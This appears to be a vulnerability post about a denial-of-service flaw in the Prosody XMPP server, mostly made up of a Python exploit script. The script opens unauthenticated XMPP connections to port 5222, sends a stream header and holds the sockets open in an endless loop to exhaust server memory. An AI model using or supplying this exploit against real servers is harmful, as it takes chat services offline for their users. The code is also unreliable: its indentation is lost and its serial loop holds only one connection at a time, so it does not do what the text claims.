An issue was discovered in Prosody before 0.12.6 and 1.0.0 through 13.0.0 before 13.0.5. A Denial of Service can occur via memory exhaustion caused by memory leaks from unauthenticated connections.
The following code is for security research and authorized testing only.
python
import socket
import time
target_ip = '127.0.0.1'
target_port = 5222
def exploit():
try:
# Create a socket connection to the Prosody server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send initial XMPP stream header to initiate connection state
# This triggers the vulnerable code path in unauthenticated connections
payload = b"<stream:stream xmlns:stream='http://etherx.jabber.org/streams' version='1.0' xmlns='jabber:client' to='localhost'>"
s.send(payload)
print("[+] Connection established, holding resources...")
# Keep the connection open or send incomplete data to trigger memory leak
# Without closing the socket, the memory is not freed in vulnerable versions
time.sleep(300)
except Exception as e:
print(f"[-] Error: {e}")
while True:
exploit()
time.sleep(0.1)